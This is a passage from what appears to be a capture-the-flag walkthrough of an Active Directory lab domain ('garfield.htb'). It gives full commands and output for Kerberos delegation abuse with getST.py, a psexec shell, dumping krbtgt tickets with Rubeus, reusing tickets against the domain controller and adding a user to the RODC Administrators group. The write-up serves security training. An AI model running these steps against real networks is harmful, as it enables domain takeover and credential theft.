[+] e.g. badS4U2proxy 'kerberos+pw://None\l.wilson_adm:Password123%21@dc01.garfield.htb/?serverip=10.129.148.150' 'HOST/RODC01$@None' 'Administrator@None'
Let’s get a Silver Ticket impersonating Administrator on RODC01.
1
2
3
4
5
6
7
8
9
10
$ getST.py garfield.htb/'w1ld$':'Password123!' -spn HOST/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.148.150
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@HOST_RODC01.garfield.htb@GARFIELD.HTB.ccache
Let’s test our authentication!
1
2
3
4
5
$ export KRB5CCNAME=Administrator@HOST_RODC01.garfield.htb@GARFIELD.HTB.ccache
$ nxc smb RODC01.garfield.htb -k --use-kcache
SMB RODC01.garfield.htb 445 RODC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:RODC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB RODC01.garfield.htb 445 RODC01 [+] garfield.htb\Administrator from ccache (Pwn3d!)
We can get a shell using psexec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ psexec.py -k rodc01.garfield.htb
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on rodc01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file AJfwtcpI.exe
[*] Opening SVCManager on rodc01.garfield.htb.....
[*] Creating service UIvy on rodc01.garfield.htb.....
[*] Starting service UIvy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8511]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Let’s transfer over Rubeus.exe and dump our tickets for the krbtgt service which is the KDC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
PS C:\w1ld> ./Rubeus.exe dump /nowrap /user:RODC01$ /service:krbtgt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
Action: Dump Kerberos Ticket Data (All Users)
[*] Target service : krbtgt
[*] Target user : RODC01$
[*] Current LUID : 0x3e7
UserName : RODC01$
Domain : GARFIELD
LogonId : 0x3e4
UserSID : S-1-5-20
AuthenticationPackage : Negotiate
LogonType : Service
LogonTime : 4/7/2026 5:38:17 AM
LogonServer :
LogonServerDNSDomain :
UserPrincipalName : RODC01$@garfield.ht
ServiceName : krbtgt/GARFIELD.HTB
ServiceRealm : GARFIELD.HTB
UserName : RODC01$
UserRealm : GARFIELD.HTB
StartTime : 4/7/2026 5:38:31 AM
EndTime : 4/7/2026 3:38:31 PM
RenewTill : 4/14/2026 5:38:31 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 8SmbKVjEeWmikIRLwUWytl481l2zAGfSdqhL3eB2y0Q=
Base64EncodedTicket :
doIFkDCCBYygAwIBBaEDAgEWooIEljCCBJJhggSOMIIEiqADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMR0FSRklFTEQuSFRCo4IETjCCBEqgAwIBEqEDAgECooIEPASCBDgV2N4Un2B61HQByx46FcVyQvOby7xzFEnCrW1VS8DS5GVox9y+3zi+YBh0DpJX+Pw4mwrKohMw9sGLliPlHJ3vNWAxL5vmeU+yGVXXtlqPcrgUsn25KIcH593JPDfr2LmIiJ4E6RPjb0aCTJHIY3Of2rq/9hZR4eA5ONhhSfw/RgpbR9Fea+YZwbPec/sbOQvvQ9df8yE/5evPi7uW3gHwNuGNREylj5u51rC3fDRpvkflhKLBMBgOABDrIi4Yxk5co2lXh1uJSYuytyR+5KWgej8lsifoCmTITwvY2PcThMT+ciwlKDzs0t
Mvpz+cOvPLGlT5fNBhZRKQ2Bp3HMHlmZIrEoNo2vV7P3G1QwkYfkE1YXruMiY0O0SWMtUdNi+fZo6hwi3FnLCEaMd2cIMD3t3Ic7bNvhrGwbhPjX+zNncrtEZOF1APq/K1akuzQXOrMtZjGt0rtlSmEqW5o0PF0KbKcTYysUwi8QWXNBF9Cu8Z1SgmhadYkvksAyO721L1CbF8wIq+kLBZc9fO40sXFsOuSoI4GmkSUXIhs7D/MXsW6zMF/ziIgY5W3xkJF59UTq/gNWG6gfoUh2/jygmNpjNwa0EtyghnAhrNOl/KTCmjgr9YBjlWDbYKznyIT+OCXEOLkmhxHBACvrIewHXPjWGA5n8QW1N48pUBeMnkf6J49x7cqZGy0hoUM00ji+RkbZWG630NIzHPWdP/4yjvY8i7vyYxLuJF1XJgG2aschvWTYKpKBhU9a8U6HiTXfz8Jorgk1MHVc6KKd
siKiuqJzmsdzGIQuf4t+HOpoPezeTD12dmLNmJ/wKMlb8Kjt5Q3qOaj3U8oEoxe2If+pncq7kbpo5VxoCw2uvZYmI7AKjjP2BGdn9gl9StdkfV5sRcdEAlfTPNJFHWh1honJDusLH6faiZrxpEWLGCLe3NC4Q4HdT101MPXKoolM0QSzr5sxXF0vTAclpK4FlIacjEjiDwy+yyQf2YBV+6jugYo6gaLfBtmwaCtLazZYBmH8Ra7u/oCOfCwppNIYF8CwFIKpXO3PQBbXYeEtJ84agvOZvqhGxp38xz0/XbPRy3x6ZbtAbHLY0Qbj02O2U/tnSWavE4mBzS3tAH1pLzwvb+pzjT6GLI5vKIHkd0KQR2bTA/BcZsXhzw9W5JSk7Q/JlEbC5Ecf1j7j4BhU454OZ727cR0UQEGiGPlqdrUrLc2xgV92GcGt55qUhDPWgeLwIhUHtNCsGjw6iNHFGqwd
sCyQbqNRivWbbKTL48i95jktzVP5vBqASnK/FonCmA45GlKy2CnanuW6OfZPkrkNb30yVzPNwkThHKdMho1WfL+9QtuUcXiYzy2+V79aGUSlok23yQrTNhP92l1/r9SeiwJ54esJkEomBhAqQHtgBiHCw+o8WQuBiCS/rWhjMaea+wkXZw3YR1toujgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDxKZspWMR5aaKQhEvBRbK2XjzWXbMAZ9J2qEvd4HbLRKEOGwxHQVJGSUVMRC5IVEKiFDASoAMCAQGhCzAJGwdST0RDMDEkowcDBQBA4QAApREYDzIwMjYwNDA3MTIzODMxWqYRGA8yMDI2MDQwNzIyMzgzMVqnERgPMjAyNjA0MTQxMjM4MzFaqA4bDEdBUkZJRUxELkhUQqkhMB+gAwIBAqEYMBYbBmtyYn
RndBsMR0FSRklFTEQuSFRC
UserName : RODC01$
Domain : GARFIELD
LogonId : 0x3e7
UserSID : S-1-5-18
AuthenticationPackage : Negotiate
LogonType : 0
LogonTime : 4/7/2026 5:38:11 AM
LogonServer :
LogonServerDNSDomain : garfield.htb
UserPrincipalName : RODC01$@garfield.htb
ServiceName : krbtgt/GARFIELD.HTB
ServiceRealm : GARFIELD.HTB
UserName : RODC01$
UserRealm : GARFIELD.HTB
StartTime : 4/7/2026 5:47:18 AM
EndTime : 4/7/2026 3:39:00 PM
RenewTill : 4/14/2026 5:39:00 AM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 2oRoEYy9XhPMXXMtNOxf3caGCqcEVfyOw7jRvmRVR20=
Base64EncodedTicket :
doIFozCCBZ+gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMR0FSRklFTEQuSFRCo4IEYTCCBF2gAwIBEqEGAgQgNQABooIETASCBEhbyhzGtbvtFhfGNPE06fyR2xXkvj0vp1s1Drg2zTD1DZbajDVeMrWy+tRfhHKrmH8x3gyvN2phGdsj9BVv5x7gIVjMMIRbpfgsNM+4QH/hGaNSqdO4jZcclC3GHpfD/xFUC6+UiXSKXG/B4/Uu8klW4YeM20Pa/xBcwX20ejSHrWUlsHJss8n8rLvsktw2w0yGZbCHIZpcSyjWiUeIk3Yfc3VukPZojBYAzBe8DUoa5YcJI0HKd8vn1R5qw4OpRAbUjgmOxR8sldLk/vWtSQsdVZ97wB8Z6u6PDOs9Yj+kxLwAa83wrN
45bQwAAKNcEZF5aAcD5bjP3gEdXxV+yo0yGWZua5B1FfBPYmnRGanvAriizAh/wpIzYXVLs49WAoybkyg3lMZajReq6aHWJrybnJQReQhCSRI486QeHlXTIlsur9MZMz/IUb9WV8IRpXevuG9Fz72Ik+ouxLY+07PQfqPCC7d09jdnl4/eHgqJkuu/GzAvjpx2qvP/x99O4E/jzdgtCIn4BlVw0d+BXgLeyoVTyctkdqm85EEucCv8SrVs/sgIeyYwRHWJUoTE+iuuIsaf5FBaIcV6pX8XS7hA6UvIYrfsF3IOQjrPNlvzoB+idkPvH3T4Aq00CxpvaYr7Cy0iobPhXSqGh0vDQfMqgLY0215kODfMORliKCTGC8ZXkMsBi3nb2dGoC+wSkSzMvFPCg5nXXiQRAA9GgOoFOMnkFV+cq7cdPP9/XkKbGtxLoxWbpYT4p7zVrTxfQMqfazQtzbcCQE
BzuawBDOTGrWkN1kKhM9gdYGEhxWMKFxQwzj7LW38tAI5Wdzwnf6OmZ01IaVxH54m+Yq52yYKGxCF5XkP53Ni3dfeyZnoP9au9uYaRnlNrZgRnwQ2Xee1QM6vtKZzI4XDKYbeOQJMuOGrX7SbLtn9DvHmfLXpPlSFUetYJAoiC7+VYFnnMBPRyaww3GWesYt6VvU9YwKWQVl1G7NfI/JmEeDUR5Hvbi+hMzRpT1+2xWsMt4OF3XbTubWf6sDd4cmG2TL9klgn9bSCBgTm1NHlRdekVv2sSCoA7AcNHP6BOlRSZL4NzIpiLUE3nFO0YHyakJib6026+xaETZBn28MJuD9aXDdSuRiQHlVZMNroTXsbe0SCWp/D9n35bP79/Y028tn6AxE9OVDvnXOWH40/0KVa6S0vjENXuoywJQvBT030Evn593RcoW/qefiNRASDmteZ17M7+IK4o1FVUIg/Xkj
qhmfVuj3mvoMnq9QiavM9k62M03C4TEi1HRe9e4Q5tUmik00heNB6vkCvZgihsYpcjHtdaTJ8v/M1iGE5Z72LnQGo1atyQ63/dAqUgIFoSueOzBLqg5HxmGprt1sgFwA2SQrrx9Qfr2Nrvt96DHaIL6piZM9mjhiOU/tpSwHCAIOzvsfoL1OX1vxx/+6zVG39UAdTToYEhwXCSS0G8o4HlMIHioAMCAQCigdoEgdd9gdQwgdGggc4wgcswgcigKzApoAMCARKhIgQg2oRoEYy9XhPMXXMtNOxf3caGCqcEVfyOw7jRvmRVR22hDhsMR0FSRklFTEQuSFRCohQwEqADAgEBoQswCRsHUk9EQzAxJKMHAwUAQKEAAKURGA8yMDI2MDQwNzEyNDcxOFqmERgPMjAyNjA0MDcyMjM5MDBapxEYDzIwMjYwNDE0MTIzOTAwWqgOGwxHQVJGSUVMRC5IVE
KpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDEdBUkZJRUxELkhUQg==
Let’s transfer this over to our attacker machine and convert it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ echo 'doIFkDCCBYygAwIBBaEDAgEWooIEljCCBJJhggSOMIIEiqADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMR0FSRklFTEQuSFRCo4IETjCCBEqgAwIBEqEDAgECooIEPASCBDgV2N4Un2B61HQByx46FcVyQvOby7x
zFEnCrW1VS8DS5GVox9y+3zi+YBh0DpJX+Pw4mwrKohMw9sGLliPlHJ3vNWAxL5vmeU+yGVXXtlqPcrgUsn25KIcH593JPDfr2LmIiJ4E6RPjb0aCTJHIY3Of2rq/9hZR4eA5ONhhSfw/RgpbR9Fea+YZwbPec/sbOQvvQ9df8yE/5evPi7uW3gHwNuGN
REylj5u51rC3fDRpvkflhKLBMBgOABDrIi4Yxk5co2lXh1uJSYuytyR+5KWgej8lsifoCmTITwvY2PcThMT+ciwlKDzs0tMvpz+cOvPLGlT5fNBhZRKQ2Bp3HMHlmZIrEoNo2vV7P3G1QwkYfkE1YXruMiY0O0SWMtUdNi+fZo6hwi3FnLCEaMd2cIMD3
t3Ic7bNvhrGwbhPjX+zNncrtEZOF1APq/K1akuzQXOrMtZjGt0rtlSmEqW5o0PF0KbKcTYysUwi8QWXNBF9Cu8Z1SgmhadYkvksAyO721L1CbF8wIq+kLBZc9fO40sXFsOuSoI4GmkSUXIhs7D/MXsW6zMF/ziIgY5W3xkJF59UTq/gNWG6gfoUh2/jyg
mNpjNwa0EtyghnAhrNOl/KTCmjgr9YBjlWDbYKznyIT+OCXEOLkmhxHBACvrIewHXPjWGA5n8QW1N48pUBeMnkf6J49x7cqZGy0hoUM00ji+RkbZWG630NIzHPWdP/4yjvY8i7vyYxLuJF1XJgG2aschvWTYKpKBhU9a8U6HiTXfz8Jorgk1MHVc6KKds
iKiuqJzmsdzGIQuf4t+HOpoPezeTD12dmLNmJ/wKMlb8Kjt5Q3qOaj3U8oEoxe2If+pncq7kbpo5VxoCw2uvZYmI7AKjjP2BGdn9gl9StdkfV5sRcdEAlfTPNJFHWh1honJDusLH6faiZrxpEWLGCLe3NC4Q4HdT101MPXKoolM0QSzr5sxXF0vTAclpK
4FlIacjEjiDwy+yyQf2YBV+6jugYo6gaLfBtmwaCtLazZYBmH8Ra7u/oCOfCwppNIYF8CwFIKpXO3PQBbXYeEtJ84agvOZvqhGxp38xz0/XbPRy3x6ZbtAbHLY0Qbj02O2U/tnSWavE4mBzS3tAH1pLzwvb+pzjT6GLI5vKIHkd0KQR2bTA/BcZsXhzw9
W5JSk7Q/JlEbC5Ecf1j7j4BhU454OZ727cR0UQEGiGPlqdrUrLc2xgV92GcGt55qUhDPWgeLwIhUHtNCsGjw6iNHFGqwdsCyQbqNRivWbbKTL48i95jktzVP5vBqASnK/FonCmA45GlKy2CnanuW6OfZPkrkNb30yVzPNwkThHKdMho1WfL+9QtuUcXiY
zy2+V79aGUSlok23yQrTNhP92l1/r9SeiwJ54esJkEomBhAqQHtgBiHCw+o8WQuBiCS/rWhjMaea+wkXZw3YR1toujgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDxKZspWMR5aaKQhEvBRbK2XjzWXbMAZ9J2qEvd4Hb
LRKEOGwxHQVJGSUVMRC5IVEKiFDASoAMCAQGhCzAJGwdST0RDMDEkowcDBQBA4QAApREYDzIwMjYwNDA3MTIzODMxWqYRGA8yMDI2MDQwNzIyMzgzMVqnERgPMjAyNjA0MTQxMjM4MzFaqA4bDEdBUkZJRUxELkhUQqkhMB+gAwIBAqEYMBYbBmtyYnRn
dBsMR0FSRklFTEQuSFRC' | base64 -d > RODC01.kirbi
$ ticketConverter.py RODC01.kirbi RODC01.ccache
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
Let’s check our authentication against the DC.
1
2
3
4
5
$ export KRB5CCNAME=RODC01.ccache
$ nxc smb dc01.garfield.htb -k --use-kcache
SMB dc01.garfield.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.garfield.htb 445 DC01 [+] GARFIELD.HTB\RODC01$ from ccache
Getting DC01 Via Golden RODC
Earlier when checking writables, we missed that we can actually write validated the RODC Administrators group, since we’re in the Tier 1 group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' get object "RODC Administrators" --resolve-sd
distinguishedName: CN=RODC Administrators,CN=Users,DC=garfield,DC=htb
cn: RODC Administrators
dSCorePropagationData: 2025-11-21 22:11:33+00:00
groupType: -2147483646
instanceType: 4
nTSecurityDescriptor.Owner: Domain Admins
nTSecurityDescriptor.Control: DACL_AUTO_INHERITED|DACL_PRESENT|SACL_AUTO_INHERITED|SELF_RELATIVE
nTSecurityDescriptor.ACL.0.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.0.Trustee: Tier 1
nTSecurityDescriptor.ACL.0.Right: WRITE_VALIDATED
nTSecurityDescriptor.ACL.0.ObjectType: Member
nTSecurityDescriptor.ACL.0.Flags: CONTAINER_INHERIT
nTSecurityDescriptor.ACL.1.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.1.Trustee: WINDOWS_AUTHORIZATION_ACCESS_GROUP
nTSecurityDescriptor.ACL.1.Right: READ_PROP
nTSecurityDescriptor.ACL.1.ObjectType: Token-Groups-Global-And-Universal
nTSecurityDescriptor.ACL.2.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.2.Trustee: AUTHENTICATED_USERS
nTSecurityDescriptor.ACL.2.Right: CONTROL_ACCESS
nTSecurityDescriptor.ACL.2.ObjectType: Send-To
nTSecurityDescriptor.ACL.3.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.3.Trustee: Domain Admins; LOCAL_SYSTEM; ACCOUNT_OPERATORS
nTSecurityDescriptor.ACL.3.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.3.ObjectType: Self
nTSecurityDescriptor.ACL.4.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.4.Trustee: AUTHENTICATED_USERS; PRINCIPAL_SELF
nTSecurityDescriptor.ACL.4.Right: GENERIC_READ
nTSecurityDescriptor.ACL.4.ObjectType: Self
nTSecurityDescriptor.ACL.5.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.5.Trustee: IT Support
nTSecurityDescriptor.ACL.5.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.5.ObjectType: Script-Path
nTSecurityDescriptor.ACL.5.InheritedObjectType: User
nTSecurityDescriptor.ACL.5.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.6.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.6.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.6.Right: READ_PROP
nTSecurityDescriptor.ACL.6.ObjectType: Logon-Information (property set); Group-Membership (property set); General-Information (property set); Remote-Access-Information (property set); Account-Restrictions (property set)
nTSecurityDescriptor.ACL.6.InheritedObjectType: inetOrgPerson; User
nTSecurityDescriptor.ACL.6.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.7.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.7.Trustee: Key Admins; Enterprise Key Admins
nTSecurityDescriptor.ACL.7.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.7.ObjectType: ms-DS-Key-Credential-Link
nTSecurityDescriptor.ACL.7.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.8.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.8.Trustee: CREATOR_OWNER; PRINCIPAL_SELF
nTSecurityDescriptor.ACL.8.Right: WRITE_VALIDATED
nTSecurityDescriptor.ACL.8.ObjectType: DS-Validated-Write-Computer
nTSecurityDescriptor.ACL.8.InheritedObjectType: Computer
nTSecurityDescriptor.ACL.8.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.9.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.9.Trustee: ENTERPRISE_DOMAIN_CONTROLLERS
nTSecurityDescriptor.ACL.9.Right: READ_PROP
nTSecurityDescriptor.ACL.9.ObjectType: Token-Groups
nTSecurityDescriptor.ACL.9.InheritedObjectType: Computer; User
nTSecurityDescriptor.ACL.9.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.10.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.10.Trustee: ENTERPRISE_DOMAIN_CONTROLLERS
nTSecurityDescriptor.ACL.10.Right: READ_PROP
nTSecurityDescriptor.ACL.10.ObjectType: Token-Groups
nTSecurityDescriptor.ACL.10.InheritedObjectType: Group
nTSecurityDescriptor.ACL.10.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.11.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.11.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.11.Right: WRITE_PROP
nTSecurityDescriptor.ACL.11.ObjectType: ms-TPM-Tpm-Information-For-Computer
nTSecurityDescriptor.ACL.11.InheritedObjectType: Computer
nTSecurityDescriptor.ACL.11.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.12.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.12.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.12.Right: GENERIC_READ
nTSecurityDescriptor.ACL.12.ObjectType: Self
nTSecurityDescriptor.ACL.12.InheritedObjectType: inetOrgPerson; User
nTSecurityDescriptor.ACL.12.Flags: CONTAINER_INHERIT; INHERIT_ONLY; INHERITED
nTSecurityDescriptor.ACL.13.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.13.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.13.Right: GENERIC_READ
nTSecurityDescriptor.ACL.13.ObjectType: Self
nTSecurityDescriptor.ACL.13.InheritedObjectType: Group
nTSecurityDescriptor.ACL.13.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.14.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.14.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.14.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.14.ObjectType: ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity
nTSecurityDescriptor.ACL.14.Flags: CONTAINER_INHERIT; INHERITED; OBJECT_INHERIT
nTSecurityDescriptor.ACL.15.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.15.Trustee: PRINCIPAL_SELF
nTSecurityDescriptor.ACL.15.Right: CONTROL_ACCESS|WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.15.ObjectType: Private-Information (property set)
nTSecurityDescriptor.ACL.15.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.16.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.16.Trustee: Enterprise Admins
nTSecurityDescriptor.ACL.16.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.16.ObjectType: Self
nTSecurityDescriptor.ACL.16.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.17.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.17.Trustee: ALIAS_PREW2KCOMPACC
nTSecurityDescriptor.ACL.17.Right: LIST_CHILD
nTSecurityDescriptor.ACL.17.ObjectType: Self
nTSecurityDescriptor.ACL.17.Flags: CONTAINER_INHERIT; INHERITED
nTSecurityDescriptor.ACL.18.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.18.Trustee: BUILTIN_ADMINISTRATORS
nTSecurityDescriptor.ACL.18.Right: WRITE_OWNER|WRITE_DACL|GENERIC_READ|DELETE|CONTROL_ACCESS|WRITE_PROP|WRITE_VALIDATED|CREATE_CHILD
nTSecurityDescriptor.ACL.18.ObjectType: Self
nTSecurityDescriptor.ACL.18.Flags: CONTAINER_INHERIT; INHERITED
name: RODC Administrators
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=garfield,DC=htb
objectClass: top; group
objectGUID: e94250c7-f7a7-4fd4-a112-f5c7ff5b037c
objectSid: S-1-5-21-2502726253-3859040611-225969357-2101
sAMAccountName: RODC Administrators
sAMAccountType: 268435456
uSNChanged: 78082
uSNCreated: 16554
whenChanged: 2026-01-13 14:13:30+00:00
whenCreated: 2025-08-17 12:43:19+00:00
One way to see this would be to first gather all the SDs in the domain. Grab our group's SID, and filter it against the list.
1
2
3
4
5
6
7
8
9
10
11
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' get search --attr nTSecurityDescriptor > sds.txt
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' get object "Tier 1" --attr objectSid
distinguishedName: CN=Tier 1,CN=Users,DC=garfield,DC=htb
objectSid: S-1-5-21-2502726253-3859040611-225969357-3108
$ grep -B1 'S-1-5-21-2502726253-3859040611-225969357-3108' sds.txt
distinguishedName: CN=RODC Administrators,CN=Users,DC=garfield,DC=htb
nTSecurityDescriptor: O:S-1-5-21-2502726253-3859040611-225969357-512G:S-1-5-21-2502726253-3859040611-225969357-512D:AI(OA;CI;SW;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2502726253-3859040611-225969357-3108)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;;0xf01ff;;;S-1-5-21-2502726253-3859040611-225969357-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;0x30;bf9679a8-0de6-11d0-a285-00aa003049e2;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-2502726253-3859040611-225969357-3106)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2502726253-3859040611-225969357-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2502726253-3859040611-225969357-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2502726253-3859040611-225969357-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
So let’s add ourselves to the RODC Administrators group.
1
2
3
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' add groupMember "RODC Administrators" "l.wilson_adm"
